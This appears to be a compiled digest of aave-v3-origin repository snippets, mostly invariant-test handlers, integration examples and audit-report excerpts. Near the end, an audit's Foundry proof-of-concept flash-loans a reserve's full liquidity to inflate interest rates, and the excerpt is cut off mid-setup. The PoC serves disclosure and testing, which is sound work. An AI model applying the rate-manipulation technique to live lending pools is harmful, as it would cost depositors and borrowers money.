### Install Dependencies

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/tests/invariants/docs/internal-docs.md

Initialize the environment and install protocol dependencies.

```sh
cp .env.example .env

forge install
```

--------------------------------

### Implement Permissionless Function: setUserEMode

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/tests/invariants/docs/internal-docs.md

This example shows how to implement a permissionless action using the 'setup' modifier for actor-proxied calls. It includes before/after hooks, caching of required variables, and postcondition checks for verifying the state change.

```Solidity
function setUserEMode(uint8 i) external setup {
      bool success;
      bytes memory returnData;

      uint8 eModeCategory = _getRandomEModeCategory(i); /// <--- Random eMode category selection

      uint256 previousUserEModeCategory = pool.getUserEMode(address(actor));

      address target = address(pool);

      address[] memory assetsBorrowing = _getUserBorrowingAssets(
        address(actor)
      ); /// <--- Cached required variables for postconditions checks

      _before(); /// <--- Before hook
      (success, returnData) = actor.proxy( /// <--- Proxied call to the protocol
        target,
        abi.encodeWithSelector(IPool.setUserEMode.selector, eModeCategory)
      );

      if (success) {
        _after(); /// <--- After hook on success

        // POST-CONDITIONS
        if (eModeCategory != previousUserEModeCategory) {
          /// <--- Postconditions checks
          assertAssetsBorrowableInEmode(
            assetsBorrowing,
            eModeCategory,
            E_MODE_HSPOST_H
          );
          assertGe(_getUserHealthFactor(address(actor)), 1, E_MODE_HSPOST_G);
        }
      }
    }
```

--------------------------------

### Execute Liquidation Call in Test Environment

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2024-10-22_StErMi_Aave-v3.3.md

Example of performing a liquidation call within a test suite using Foundry's vm cheatcodes.

```solidity
    pool.borrow(
      AaveV3EthereumAssets.DAI_UNDERLYING,
      daiBorrowAmount,
      2,
      0,
      borrower
    );
    vm.stopPrank();

    // 30 days pass by
    vm.warp(block.timestamp + warpTime);

    // now USDC goes down to 0.1 USD
    _setupOracle(10_000_000, 100_000_000, 100_000_000);

    // liquidator liquidate the whole debt specified as input
    uint256 debtAccrued = IERC20(assetToLiquidate).balanceOf(borrower);

    vm.startPrank(liquidator);
    deal(assetToLiquidate, liquidator, debtAccrued);
    IERC20(assetToLiquidate).approve(address(pool), type(uint256).max);
    pool.liquidationCall(
      AaveV3EthereumAssets.USDC_UNDERLYING,
      assetToLiquidate,
      borrower,
      type(uint256).max,
      false
    );
    vm.stopPrank();

    uint256 daiDeficit = pool.getReserveDeficit(
      AaveV3EthereumAssets.DAI_UNDERLYING
    );
    uint256 ghoDeficit = pool.getReserveDeficit(
      AaveV3EthereumAssets.GHO_UNDERLYING
    );
    uint256 ghoBalanceFromInterestBorrower = VGHO(
      AaveV3EthereumAssets.GHO_V_TOKEN
    ).getBalanceFromInterest(borrower);

    return (daiDeficit, ghoDeficit, ghoBalanceFromInterestBorrower);
  }
}
```

--------------------------------

### Implement setup modifier in handler

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/tests/invariants/docs/overview.md

Use the setup modifier to proxy protocol calls through an actor based on the handler function caller.

```solidity
function repayWithATokens(uint256 amount, uint8 i) external setup {
  /// setup modifier selects the actor to be used in the proxied call
  /// based on the caller of this handler function

  bool success; /// success flag and returnData for the proxied call are declared at the beginning of the function
  bytes memory returnData;

  ...

  address target = address(pool);

  _before();

  /// actor.proxy is used to call the protocol, targetting the protocol with the required calldata
  (success, returnData) = actor.proxy(
    target,
    abi.encodeWithSelector(
      IPool.repayWithATokens.selector,
      asset,
      amount,
      DataTypes.InterestRateMode.VARIABLE
    )
  );

  if (success) { /// success flag is checked to ensure the call was successful in order to make further checks
    _after();
    ...
  }
}
```

--------------------------------

### Implement BORROWING_HSPOST_I Postcondition in Solidity

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/tests/invariants/docs/internal-docs.md

This example shows how to implement a Handler-Specific Postcondition (HSPOST) in Solidity. It verifies that after a successful borrow operation, the actor's asset balance increases by the borrowed amount. This postcondition is migrated from a Foundry test assertion.

```solidity
function borrow(uint256 amount, uint8 i, uint8 j) external setup {
    bool success;
    bytes memory returnData;

    ... 
    uint256 actorAssetBalanceBefore = IERC20(asset).balanceOf(address(actor));

    _before();
    (success, returnData) = actor.proxy(
    address(pool),
    abi.encodeWithSelector(
        IPool.borrow.selector,
        asset,
        amount,
        DataTypes.InterestRateMode.VARIABLE,
        0,
        onBehalfOf
    )
    );
    ... 

    if (success) {
    _after();
    // POST-CONDITIONS
    assertEq( /// <--- Postcondition BORROWING_HSPOST_I migrated from Foundry
        IERC20(asset).balanceOf(address(actor)),
        actorAssetBalanceBefore + amount,
        BORROWING_HSPOST_I
    );
    ... 
    }
}
```

--------------------------------

### Get User Account Data - Solidity

Source: https://context7.com/aave-dao/aave-v3-origin/llms.txt

Retrieves comprehensive account health information including collateral, debt, borrowing power, and health factor. Use this to monitor user positions.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {IPool} from "@aave-dao/aave-v3-origin/src/contracts/interfaces/IPool.sol";

contract AccountDataExample {
    IPool public pool;

    constructor(address _pool) {
        pool = IPool(_pool);
    }

    struct AccountHealth {
        uint256 totalCollateralBase;      // Total collateral in base currency
        uint256 totalDebtBase;            // Total debt in base currency
        uint256 availableBorrowsBase;     // Available borrowing power
        uint256 currentLiquidationThreshold; // Weighted avg liquidation threshold
        uint256 ltv;                      // Weighted avg loan-to-value
        uint256 healthFactor;             // Health factor (< 1e18 = liquidatable)
    }

    /// @notice Get comprehensive user account health data
    function getAccountHealth(address user) external view returns (AccountHealth memory health) {
        ( 
            health.totalCollateralBase,
            health.totalDebtBase,
            health.availableBorrowsBase,
            health.currentLiquidationThreshold,
            health.ltv,
            health.healthFactor
        ) = pool.getUserAccountData(user);
    }

    /// @notice Check if position is at risk of liquidation
    function isLiquidatable(address user) external view returns (bool) {
        (,,,,, uint256 healthFactor) = pool.getUserAccountData(user);
        return healthFactor < 1e18; // Health factor < 1.0
    }

    /// @notice Calculate maximum borrowable amount for an asset
    function getMaxBorrowable(
        address user,
        address assetToBorrow,
        address oracle
    ) external view returns (uint256) {
        (,, uint256 availableBorrowsBase,,,) = pool.getUserAccountData(user);
        // availableBorrowsBase is in base currency (usually USD with 8 decimals)
        // Would need to convert using oracle price of assetToBorrow
        return availableBorrowsBase;
    }
}
```

--------------------------------

### Initialize Aave V3 Test Environment

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-07-17_StErMi_Aave-v3.5.md

Sets up the test environment by initializing contracts, mocks, and setting initial oracle prices and reserve configurations. This includes setting up the SequencerOracle, PriceOracleSentinel, and LiquidationDataProvider, as well as configuring interest rates and reserve factors for various tokens.

```Solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;

import 'forge-std/Test.sol';
import {IDefaultInterestRateStrategyV2} from '../../../src/contracts/interfaces/IDefaultInterestRateStrategyV2.sol';
import {IAaveOracle} from '../../../src/contracts/interfaces/IAaveOracle.sol';
import {IPoolAddressesProvider} from '../../../src/contracts/interfaces/IPoolAddressesProvider.sol';
import {IAToken} from '../../../src/contracts/interfaces/IAToken.sol';
import {UserConfiguration} from '../../../src/contracts/protocol/libraries/configuration/UserConfiguration.sol';
import {ReserveLogic} from '../../../src/contracts/protocol/libraries/logic/ReserveLogic.sol';
import {ReserveConfiguration} from '../../../src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol';
import {PriceOracleSentinel} from '../../../src/contracts/misc/PriceOracleSentinel.sol';
import {SequencerOracle, ISequencerOracle} from '../../../src/contracts/mocks/oracle/SequencerOracle.sol';
import {DataTypes} from '../../../src/contracts/protocol/libraries/types/DataTypes.sol';
import {PercentageMath} from '../../../src/contracts/protocol/libraries/math/PercentageMath.sol';
import {WadRayMath} from '../../../src/contracts/protocol/libraries/math/WadRayMath.sol';
import {TestnetProcedures} from '../../utils/TestnetProcedures.sol';
import {LiquidationDataProvider} from '../../../src/contracts/helpers/LiquidationDataProvider.sol';
import {TestnetERC20} from '../../../src/contracts/mocks/testnet-helpers/TestnetERC20.sol';

contract SPoolTest is TestnetProcedures {
  using stdStorage for StdStorage;

  using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
  using UserConfiguration for DataTypes.UserConfigurationMap;
  using PercentageMath for uint256;
  using WadRayMath for uint256;
  using ReserveLogic for DataTypes.ReserveCache;
  using ReserveLogic for DataTypes.ReserveData;


  PriceOracleSentinel internal priceOracleSentinel;
  SequencerOracle internal sequencerOracleMock;
  LiquidationDataProvider internal liquidationDataProvider;

  function setUp() public virtual {
    initTestEnvironment();

    sequencerOracleMock = new SequencerOracle(poolAdmin);
    priceOracleSentinel = new PriceOracleSentinel(
      IPoolAddressesProvider(report.poolAddressesProvider),
      ISequencerOracle(address(sequencerOracleMock)),
      1 days
    );
    liquidationDataProvider = new LiquidationDataProvider(
      address(contracts.poolProxy),
      address(contracts.poolAddressesProvider)
    );

    vm.prank(poolAdmin);
    sequencerOracleMock.setAnswer(false, 0);

    // oracle
    _setOraclePrice(tokenList.usdx, 100015000);
    _setOraclePrice(tokenList.weth, 246216320000);
    _setOraclePrice(tokenList.wbtc, 10708564022899);

    // reserve factor

    // IRS
    vm.startPrank(poolAdmin);
    contracts.poolConfiguratorProxy.setReserveInterestRateData(
      tokenList.usdx,
      abi.encode(IDefaultInterestRateStrategyV2.InterestRateData({
        optimalUsageRatio: 9200,
        baseVariableBorrowRate: 0,
        variableRateSlope1: 550,
        variableRateSlope2: 2250
      }))
    );
    contracts.poolConfiguratorProxy.setReserveFactor(tokenList.wbtc, 1000);


    contracts.poolConfiguratorProxy.setReserveInterestRateData(
      tokenList.weth,
      abi.encode(IDefaultInterestRateStrategyV2.InterestRateData({
        optimalUsageRatio: 9000,
        baseVariableBorrowRate: 0,
        variableRateSlope1: 270,
        variableRateSlope2: 8000
      }))
    );
    contracts.poolConfiguratorProxy.setReserveFactor(tokenList.weth, 1500);

    contracts.poolConfiguratorProxy.setReserveInterestRateData(
      tokenList.wbtc,
      abi.encode(IDefaultInterestRateStrategyV2.InterestRateData({
        optimalUsageRatio: 8000,
        baseVariableBorrowRate: 0,
        variableRateSlope1: 400,
        variableRateSlope2: 30000
      }))
    );
    contracts.poolConfiguratorProxy.setReserveFactor(tokenList.wbtc, 5000);


    vm.stopPrank();
  }

  function testRepayDiff() public {
    (address atoken, , address vtoken) = contracts.protocolDataProvider.getReserveTokensAddresses(tokenList.usdx);
    address s1 = makeAddr('s1');
    address b1 = makeAddr('b1');

    _approveUser(s1);
    _approveUser(b1);

    _mintToken(s1, tokenList.usdx, 1_000e6);
    _mintToken(b1, tokenList.weth, 1e18);
    _mintToken(b1, tokenList.usdx, 10e6);

    // supply
    vm.prank(s1);
    contracts.poolProxy.supply(tokenList.usdx, 1_000e6, s1, 0);
    vm.prank(b1);
    contracts.poolProxy.supply(tokenList.weth, 1e18, b1, 0);

    // borrow
    vm.prank(b1);
    contracts.poolProxy.borrow(tokenList.usdx, 100e6, 2, 0, b1);

    // 100 days pass by
    vm.warp(vm.getBlockTimestamp() + 100 days);

    uint256 debtToRepay = 10e6;
    uint256 debtBefore = IAToken(vtoken).balanceOf(b1);
    uint256 snapshotId = vm.snapshot();

    // borrower repay 10 USD of debt with 10 USD
    vm.prank(b1);

```

--------------------------------

### Create Patch File

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/certora/basic/README.md

Creates an empty patch file named 'applyHarness.patch' in the certora/ directory. This is an initial step before running verification.

```shell
touch applyHarness.patch
```

--------------------------------

### GET getUserAccountData

Source: https://context7.com/aave-dao/aave-v3-origin/llms.txt

Retrieves comprehensive account health information including collateral, debt, borrowing power, and health factor.

```APIDOC
## GET getUserAccountData

### Description
Retrieves comprehensive account health information including collateral, debt, borrowing power, and health factor.

### Method
GET

### Parameters
#### Path Parameters
- **user** (address) - Required - The address of the user account to query.

### Response
#### Success Response (200)
- **totalCollateralBase** (uint256) - Total collateral in base currency
- **totalDebtBase** (uint256) - Total debt in base currency
- **availableBorrowsBase** (uint256) - Available borrowing power
- **currentLiquidationThreshold** (uint256) - Weighted avg liquidation threshold
- **ltv** (uint256) - Weighted avg loan-to-value
- **healthFactor** (uint256) - Health factor (< 1e18 = liquidatable)
```

--------------------------------

### Run All Verification Rules

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/certora/basic/README.md

Executes all verification rules by submitting jobs to the Certora verification service. This script should be run from the root directory of the project.

```shell
bash certora/scripts/run-all.sh
```

--------------------------------

### Scenario 1: Deficit Offset (pendingDeficit + deficitOffset <= poolDeficit)

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-06-11_Stermi_Aave-v3.4_AIP_Report.md

Demonstrates deficit offset when pending deficit plus offset is less than or equal to the pool deficit. Shows that the reserve deficit is reduced but not necessarily to zero.

```solidity
call DeficitOffsetClinicSteward.coverDeficitOffset(GHO) -> UMBRELLA.coverDeficitOffset(GHO, 100k GHO)
	→ _coverDeficit(GHO, 100k GHO, 100k GHO);
	→ POOL().eliminateReserveDeficit(GHO, 100k);
	→ NEW deficit reserve = 50k GHO

"direct" call UMBRELLA.coverDeficitOffset(GHO, 150k GHO)
	→ _coverDeficit(GHO, 150k GHO, 100k GHO);
	→ POOL().eliminateReserveDeficit(GHO, 100k);
	→ NEW deficit reserve = 50k GHO
```

--------------------------------

### Prepare User for Aave V3 Operations

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-06-11_Stermi_Aave-v3.4_Report.md

Mints specified amounts of USDX and WBTC for a user, and approves necessary tokens for the pool proxy. Requires vm, usdx, wbtc, weth, report, and poolAdmin addresses.

```solidity
function _prepareUser(
    address user,
    uint256 usdxAmount,
    uint256 wbtcAmount
  ) public {
    vm.startPrank(poolAdmin);
    if (usdxAmount > 0) usdx.mint(user, usdxAmount);
    if (wbtcAmount > 0) wbtc.mint(user, wbtcAmount);
    deal(address(weth), user, 100e18);
    vm.stopPrank();

    vm.startPrank(user);
    usdx.approve(report.poolProxy, UINT256_MAX);
    wbtc.approve(report.poolProxy, UINT256_MAX);
    weth.approve(report.poolProxy, UINT256_MAX);
    vm.stopPrank();
  }
```

--------------------------------

### Verify Pool Initialization in Constructor

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-06-11_Stermi_Aave-v3.4_AIP_Report.md

This Solidity code snippet outlines the required sanity checks within the UpgradePayloadMainnet constructor to ensure that various token implementations and the facilitator are correctly associated with the POOL address.

```solidity
A_TOKEN_GHO_IMPL.POOL() == POOL
V_TOKEN_GHO_IMPL.POOL() == POOL
A_TOKEN_IMPL.POOL() == POOL
V_TOKEN_IMPL.POOL() == POOL
FACILITATOR.POOL() == POOL
```

--------------------------------

### Run Echidna Testing Modes

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/tests/invariants/docs/internal-docs.md

Execute the testing suite in different modes to check invariants, postconditions, or explore coverage.

```sh
make echidna
```

```sh
make echidna-assert
```

```sh
make echidna-explore
```

--------------------------------

### Scenario 2: Deficit Offset (pendingDeficit + deficitOffset > poolDeficit)

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-06-11_Stermi_Aave-v3.4_AIP_Report.md

Illustrates deficit offset when pending deficit plus offset exceeds the pool deficit. Highlights that the reserve deficit may remain positive after execution.

```solidity
call DeficitOffsetClinicSteward.coverDeficitOffset(GHO) -> UMBRELLA.coverDeficitOffset(GHO, 20k GHO)
	→ _coverDeficit(GHO, 20k GHO, 20k GHO);
	→ POOL().eliminateReserveDeficit(GHO, 20k);
	→ NEW deficit reserve = 10k GHO

"direct" call UMBRELLA.coverDeficitOffset(GHO, 30k GHO)
	→ _coverDeficit(GHO, 30k GHO, 20k GHO);
	→ POOL().eliminateReserveDeficit(GHO, 20k);
	→ NEW deficit reserve = 10k GHO
```

--------------------------------

### Query Reserve and User Data with IPoolDataProvider

Source: https://context7.com/aave-dao/aave-v3-origin/llms.txt

Retrieves protocol-wide reserve configurations, token addresses, and specific user position data. Requires an initialized IPoolAddressesProvider address to fetch the data provider instance.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {IPoolDataProvider} from "@aave-dao/aave-v3-origin/src/contracts/interfaces/IPoolDataProvider.sol";
import {IPoolAddressesProvider} from "@aave-dao/aave-v3-origin/src/contracts/interfaces/IPoolAddressesProvider.sol";

contract DataProviderExample {
    IPoolDataProvider public dataProvider;

    constructor(address _addressesProvider) {
        dataProvider = IPoolDataProvider(
            IPoolAddressesProvider(_addressesProvider).getPoolDataProvider()
        );
    }

    /// @notice Get all reserve token addresses
    function getAllReserves() external view returns (IPoolDataProvider.TokenData[] memory) {
        return dataProvider.getAllReservesTokens();
    }

    /// @notice Get reserve configuration
    function getReserveConfig(address asset) external view returns (
        uint256 decimals,
        uint256 ltv,
        uint256 liquidationThreshold,
        uint256 liquidationBonus,
        uint256 reserveFactor,
        bool usageAsCollateralEnabled,
        bool borrowingEnabled,
        bool stableBorrowRateEnabled,
        bool isActive,
        bool isFrozen
    ) {
        return dataProvider.getReserveConfigurationData(asset);
    }

    /// @notice Get reserve caps
    function getReserveCaps(address asset) external view returns (
        uint256 borrowCap,
        uint256 supplyCap
    ) {
        return dataProvider.getReserveCaps(asset);
    }

    /// @notice Get user reserve data
    function getUserReserveData(
        address asset,
        address user
    ) external view returns (
        uint256 currentATokenBalance,
        uint256 currentStableDebt,
        uint256 currentVariableDebt,
        uint256 principalStableDebt,
        uint256 scaledVariableDebt,
        uint256 stableBorrowRate,
        uint256 liquidityRate,
        uint40 stableRateLastUpdated,
        bool usageAsCollateralEnabled
    ) {
        return dataProvider.getUserReserveData(asset, user);
    }

    /// @notice Get reserve token addresses (aToken, debt tokens)
    function getReserveTokens(address asset) external view returns (
        address aTokenAddress,
        address stableDebtTokenAddress,
        address variableDebtTokenAddress
    ) {
        return dataProvider.getReserveTokensAddresses(asset);
    }
}
```

--------------------------------

### Wrap aWETH.permit call with try/catch

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2024-10-22_StErMi_Aave-v3.3.md

This diff shows the modification to the aWETH.permit call within the WrappedTokenGatewayV3.withdrawETHWithPermit function. It adds a try/catch block to handle potential reverts, preventing griefing attacks.

```diff
-aWETH.permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS);
+aWETH.permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS) {} catch {}
```

--------------------------------

### Demonstrate MintToTreasury Rounding Down Error

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-07-17_StErMi_Aave-v3.5.md

This Proof of Concept demonstrates a scenario where the `mintToTreasury` function reverts due to a rounding down error in `accruedToTreasury` when it should be zero. This prevents critical `PoolConfigurator` functions from being executed.

```Solidity
function testCannotMintToTreasuryForRoundingDown() public {
    address s = makeAddr('s');
    address b = makeAddr('b');

    _setupUser(s);
    _setupUser(b);

    vm.startPrank(s);
    contracts.poolProxy.supply(tokenList.usdx, 1_000e6, s, 0);
    vm.stopPrank();


    vm.startPrank(b);
    contracts.poolProxy.supply(tokenList.weth, 1e18, b, 0);
    contracts.poolProxy.borrow(tokenList.usdx, 100e6, 2, 0, b);
    vm.stopPrank();

    vm.warp(vm.getBlockTimestamp() + 9 minutes);


    vm.startPrank(b);
    contracts.poolProxy.repay(tokenList.usdx, 100000015, 2, b);
    vm.stopPrank();


    vm.startPrank(s);
    uint256 sb = IAToken(address(aUSDX)).balanceOf(s);
    contracts.poolProxy.withdraw(tokenList.usdx, sb, s);
    vm.stopPrank();

    // there are no more AToken supply
    // there are still debt to be repaid
    // the accrued to treasury value is > 0
    assertEq(IAToken(address(aUSDX)).scaledBalanceOf(s), 0);
    assertEq(IAToken(address(aUSDX)).scaledTotalSupply(), 0);
    assertGt(IAToken(address(vUSDX)).balanceOf(b), 0);
    assertGt(contracts.poolProxy.getReserveData(tokenList.usdx).accruedToTreasury, 0);

    // reverts because `accruedToTreasury > 0`
    // (AToken scaledTotalSupply is correctly 0 see above asserts)
    vm.prank(poolAdmin);
    vm.expectRevert(abi.encodeWithSelector(Errors.ReserveLiquidityNotZero.selector));
    contracts.poolConfiguratorProxy.setReserveActive(tokenList.usdx, false);

    // `ScaledBalanceTokenBase._mintScaled` will revert because of rounding down to zero
    address[] memory assets = new address[](1);
    assets[0] = tokenList.usdx;
    vm.expectRevert(abi.encodeWithSelector(Errors.InvalidMintAmount.selector));
    contracts.poolProxy.mintToTreasury(assets);
  }
```

--------------------------------

### Interact with Wrapped Token Gateway

Source: https://context7.com/aave-dao/aave-v3-origin/llms.txt

Facilitates native ETH deposits, withdrawals, borrowing, and repayments by wrapping to WETH.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {IWrappedTokenGatewayV3} from "@aave-dao/aave-v3-origin/src/contracts/helpers/interfaces/IWrappedTokenGatewayV3.sol";

contract ETHGatewayExample {
    IWrappedTokenGatewayV3 public gateway;
    address public pool;

    constructor(address _gateway, address _pool) {
        gateway = IWrappedTokenGatewayV3(_gateway);
        pool = _pool;
    }

    /// @notice Deposit ETH to Aave (wraps to WETH internally)
    function depositETH() external payable {
        gateway.depositETH{value: msg.value}(pool, msg.sender, 0);
    }

    /// @notice Withdraw ETH from Aave
    /// @dev User must first approve aWETH to gateway
    function withdrawETH(uint256 amount) external {
        gateway.withdrawETH(pool, amount, msg.sender);
    }

    /// @notice Borrow ETH from Aave
    /// @dev User must have supplied collateral first
    function borrowETH(uint256 amount) external {
        gateway.borrowETH(pool, amount, 0);
    }

    /// @notice Repay ETH debt
    function repayETH() external payable {
        gateway.repayETH{value: msg.value}(pool, msg.value, msg.sender);
    }
}
```

--------------------------------

### Solidity: Calling Global Postcondition in _after Hook

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/tests/invariants/docs/internal-docs.md

Demonstrates how to call a global postcondition, specifically assert_LENDING_GPOST_C, at the end of the _after hook within the _checkPostConditions function. This ensures the postcondition is evaluated after each test sequence.

```solidity
function _checkPostConditions() internal {
  // Implement post conditions here
  ...

  // LENDING
  assert_LENDING_GPOST_C(); /// <--- Global postcondition execution

  ...
}
```

--------------------------------

### Optimize SupplyLogic.executeFinalizeTransfer Gas Usage

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-07-17_StErMi_Aave-v3.5.md

Move the collateral flag update before the health factor validation to skip unnecessary calculations in GenericLogic.calculateUserAccountData.

```solidity
if (params.scaledBalanceFromBefore == params.scaledAmount) {
  fromConfig.setUsingAsCollateral(reserveId, params.asset, params.from, false);
}
```

```diff
+if (params.scaledBalanceFromBefore == params.scaledAmount) {
+  fromConfig.setUsingAsCollateral(reserveId, params.asset, params.from, false);
+}
if (fromConfig.isBorrowingAny()) {
  ValidationLogic.validateHFAndLtvzero(
    reservesData,
    reservesList,
    eModeCategories,
    usersConfig[params.from],
    params.asset,
    params.from,
    params.oracle,
    params.fromEModeCategory
  );
}
-if (params.scaledBalanceFromBefore == params.scaledAmount) {
-  fromConfig.setUsingAsCollateral(reserveId, params.asset, params.from, false);
-}
```

--------------------------------

### Update Interest Rates and Virtual Balance

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-07-17_StErMi_Aave-v3.5.md

Calculates new interest rates based on updated debt values and updates the reserve state.

```solidity
  function updateInterestRatesAndVirtualBalance(
    DataTypes.ReserveData storage reserve,
    DataTypes.ReserveCache memory reserveCache,
    [...] other inputs
  ) internal {
>>>    uint256 totalVariableDebt = reserveCache.nextScaledVariableDebt.rayMulCeil(
>>>      reserveCache.nextVariableBorrowIndex
>>>    );

    (uint256 nextLiquidityRate, uint256 nextVariableRate) = IReserveInterestRateStrategy(
      interestRateStrategyAddress
    ).calculateInterestRates(
        DataTypes.CalculateInterestRatesParams({
          unbacked: reserve.deficit,
          liquidityAdded: liquidityAdded,
          liquidityTaken: liquidityTaken,
>>>          totalDebt: totalVariableDebt,
          reserveFactor: reserveCache.reserveFactor,
          reserve: reserveAddress,
          usingVirtualBalance: true,
          virtualUnderlyingBalance: reserve.virtualUnderlyingBalance
        })
      );

>>>    reserve.currentLiquidityRate = nextLiquidityRate.toUint128();
>>>    reserve.currentVariableBorrowRate = nextVariableRate.toUint128();

    // [...] other code
  }
```

--------------------------------

### Execute Simple Single-Asset Flash Loan

Source: https://context7.com/aave-dao/aave-v3-origin/llms.txt

This contract simplifies flash loans for a single asset, potentially reducing gas costs. The `executeOperation` function serves as the callback for custom logic after the loan is received.

```Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {IPool} from "@aave-dao/aave-v3-origin/src/contracts/interfaces/IPool.sol";
import {IFlashLoanSimpleReceiver} from "@aave-dao/aave-v3-origin/src/contracts/misc/flashloan/interfaces/IFlashLoanSimpleReceiver.sol";
import {IPoolAddressesProvider} from "@aave-dao/aave-v3-origin/src/contracts/interfaces/IPoolAddressesProvider.sol";
import {IERC20} from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";

contract FlashLoanSimpleExample is IFlashLoanSimpleReceiver {
    IPoolAddressesProvider public immutable ADDRESSES_PROVIDER;
    IPool public immutable POOL;

    constructor(address provider) {
        ADDRESSES_PROVIDER = IPoolAddressesProvider(provider);
        POOL = IPool(ADDRESSES_PROVIDER.getPool());
    }

    /// @notice Execute a simple flash loan for a single asset
    function executeSimpleFlashLoan(
        address asset,
        uint256 amount,
        bytes calldata params
    ) external {
        POOL.flashLoanSimple(
            address(this),
            asset,
            amount,
            params,
            0 // referralCode
        );
    }

    /// @notice Callback for simple flash loan
    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initiator,
        bytes calldata params
    ) external override returns (bool) {
        require(msg.sender == address(POOL), "Caller must be pool");

        // === YOUR CUSTOM LOGIC HERE ===

        // Approve repayment
        uint256 amountOwed = amount + premium;
        IERC20(asset).approve(address(POOL), amountOwed);

        return true;
    }
}

```

--------------------------------

### Solidity: LENDING_GPOST_C Global Postcondition

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/tests/invariants/docs/internal-docs.md

Implements the LENDING_GPOST_C global postcondition, ensuring that if a reserve's totalSupply increases, the new totalSupply is less than or equal to its supply cap. This check is performed in assertion mode.

```solidity
function assert_LENDING_GPOST_C() internal {
  if (targetAsset == address(0)) return;
  uint256 totalSupplyUpdatedTreasury = _getRealTotalSupply(
    targetAsset,
    snapshotGlobalVarsBefore.scaledTotalSupply,
    snapshotGlobalVarsAfter.accruedToTreasury
  );
  if (totalSupplyUpdatedTreasury < snapshotGlobalVarsAfter.totalSupply) {
    if (
      snapshotGlobalVarsAfter.supplyCap != 0 &&
      msg.sig != IPoolHandler.mintToTreasury.selector
    )
      assertLe(
        snapshotGlobalVarsAfter.totalSupply,
        snapshotGlobalVarsAfter.supplyCap,
        LENDING_GPOST_C
      );
  }
}
```

--------------------------------

### Original Flash Loan Repayment Logic

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-06-11_Stermi_Aave-v3.4_Report.md

The original implementation for handling flash loan repayments, which directly updated the virtualUnderlyingBalance.

```solidity
function _handleFlashLoanRepayment(
  DataTypes.ReserveData storage reserve,
  DataTypes.FlashLoanRepaymentParams memory params
) internal {
 reserve.virtualUnderlyingBalance += params.amount.toUint128();

  // [...] other code
```

--------------------------------

### Fetch Token Metadata Dynamically

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-06-11_Stermi_Aave-v3.4_AIP_Report.md

Use this pattern to avoid hardcoding token names and symbols by fetching them directly from the existing token contract.

```solidity
ERC20(AaveV3EthereumAssets.GHO_A_TOKEN).name()
```

```solidity
ERC20(AaveV3EthereumAssets.GHO_A_TOKEN).symbol()
```

--------------------------------

### Flashloan Attack PoC Implementation

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-06-11_Stermi_Aave-v3.4_Report.md

A Solidity test suite using Foundry to simulate a flashloan attack that inflates supply and borrow rates by manipulating the virtual underlying balance.

```solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import { IERC20 } from "../../../src/contracts/dependencies/openzeppelin/contracts/IERC20.sol";
import { ReserveConfiguration } from "../../../src/contracts/protocol/pool/PoolConfigurator.sol";
import { WadRayMath } from "../../../src/contracts/protocol/libraries/math/WadRayMath.sol";
import { PercentageMath } from "../../../src/contracts/protocol/libraries/math/PercentageMath.sol";
import { IPoolAddressesProvider } from "../../../src/contracts/interfaces/IPoolAddressesProvider.sol";
import { DataTypes } from "../../../src/contracts/protocol/libraries/types/DataTypes.sol";
import { TestnetProcedures } from "../../utils/TestnetProcedures.sol";
import { FlashLoanSimpleReceiverBase } from "../../../src/contracts/misc/flashloan/base/FlashLoanSimpleReceiverBase.sol";
import { IDefaultInterestRateStrategyV2 } from "../../../src/contracts/interfaces/IDefaultInterestRateStrategyV2.sol";

contract FlashloanReceiver is FlashLoanSimpleReceiverBase {
  constructor(
    IPoolAddressesProvider provider
  ) FlashLoanSimpleReceiverBase(provider) {}

  function executeOperation(
    address asset,
    uint256 amount,
    uint256 premium,
    address, // initiator
    bytes memory // params
  ) public override returns (bool) {
    // supply and withdraw 1 wei to just trigger the reserve update of the index and rates
    // this will bring the usage ratio to 100% because we have flashloaned everything
    POOL.supply(asset, 1, address(this), 0);
    POOL.withdraw(asset, 1, address(this));

    // vb now is 0
    require(POOL.getVirtualUnderlyingBalance(asset) == 0);
    return true;
  }
}

contract SFlashloanTests is TestnetProcedures {
  using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
  using WadRayMath for uint256;
  using PercentageMath for uint256;

  address s1;
  address b1;
  address attacker;
  FlashloanReceiver attackerFLReceiver;

  function setUp() public {
    initTestEnvironment();

    // current IRS config used for USDC on mainnet
    bytes memory USDX_IRS_CONFIG = abi.encode(
      IDefaultInterestRateStrategyV2.InterestRateData({
        optimalUsageRatio: 92_00,
        baseVariableBorrowRate: 0,
